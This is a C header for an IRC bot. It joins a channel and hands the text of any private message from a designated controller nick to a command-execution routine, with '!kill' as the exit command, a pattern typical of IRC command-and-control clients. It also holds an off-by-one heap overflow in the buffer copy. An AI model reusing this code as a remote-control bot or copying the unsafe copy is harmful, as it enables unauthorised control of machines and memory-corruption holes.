#ifndef EVENTS_H_
#include <string.h>
#include <unistd.h>
#include "libircclient.h"
#include "util.h"
#include "execute.h"

#define exit_command "!kill"

void try_command(irc_session_t *session, const char *event, const char *origin, const char **params, unsigned int count)
{
	log_msg("got privmsg from %s\n",origin);
	
	
	
	if(count !=2)
	{
		log_msg("%s\n","invalid param length");
		return;
	}
	
	int buffsize =128;
	irc_ctx_t * ctx = irc_get_ctx(session);
	char * buff = malloc(buffsize);
	memset(buff,0,buffsize);
	irc_target_get_nick(origin,buff,buffsize);
	
	if(!strcmp(buff,ctx->report))
	{
		char * execute = malloc(strlen(params[1]));
		execute = strcpy(execute,params[1]);
		execute_command(execute,session,ctx);
		free(execute);
	}
	
	free(buff);
	
	if (ctx->exitflag)
	{
		irc_disconnect(session);
	}
}

void event_connect (irc_session_t * session, const char * event, const char * origin, const char ** params, unsigned int count)
{
	log_msg("connection good\n","");
	irc_ctx_t * ctx = (irc_ctx_t *) irc_get_ctx (session);
	irc_cmd_join (session, ctx->channel, 0);
}

void event_join(irc_session_t * session, const char * event, const char * origin, const char ** params, unsigned int count)
{
	log_msg("join good\n","");
}

#define EVENTS_H_
#endif
